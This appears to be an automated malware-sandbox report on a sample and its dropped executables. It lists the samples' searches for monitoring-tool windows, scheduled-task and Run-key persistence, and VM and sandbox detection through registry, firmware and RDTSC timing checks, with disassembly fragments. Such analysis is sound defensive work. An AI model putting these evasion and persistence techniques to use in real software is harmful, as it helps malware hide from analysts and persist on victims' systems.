Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\EBFHJEGDAF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43cdd8ad97.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 43cdd8ad97.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 998d30a932.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 998d30a932.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd549fc84a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fd549fc84a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8d8ec3a6f5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8d8ec3a6f5.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2043F second address: D20452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3B80B6755Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84A15 second address: E84A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3B813BFB92h 0x00000009 jmp 00007F3B813BFB8Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E87A second address: E9E881 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E881 second address: E9E887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E887 second address: E9E8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F3B80B67563h 0x0000000f ja 00007F3B80B67558h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9E8AB second address: E9E8B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1595 second address: EA159A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA159A second address: EA15D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3B813BFB86h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 jmp 00007F3B813BFB95h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c jmp 00007F3B813BFB8Dh 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA15D4 second address: EA163D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3B80B67556h 0x00000009 jmp 00007F3B80B67564h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop eax 0x00000012 mov ecx, dword ptr [ebp+122D39A9h] 0x00000018 mov cx, si 0x0000001b push 00000003h 0x0000001d mov di, ax 0x00000020 push 00000000h 0x00000022 mov cx, ax 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F3B80B67558h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Ah 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov cx, dx 0x00000044 call 00007F3B80B67559h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA163D second address: EA1644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA1644 second address: EA164A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA164A second address: EA164E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA164E second address: EA1667 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3B80B67556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jns 00007F3B80B67556h 0x00000016 push edx 0x00000017 pop edx 0x00000018 popad 0x00000019 rdtsc
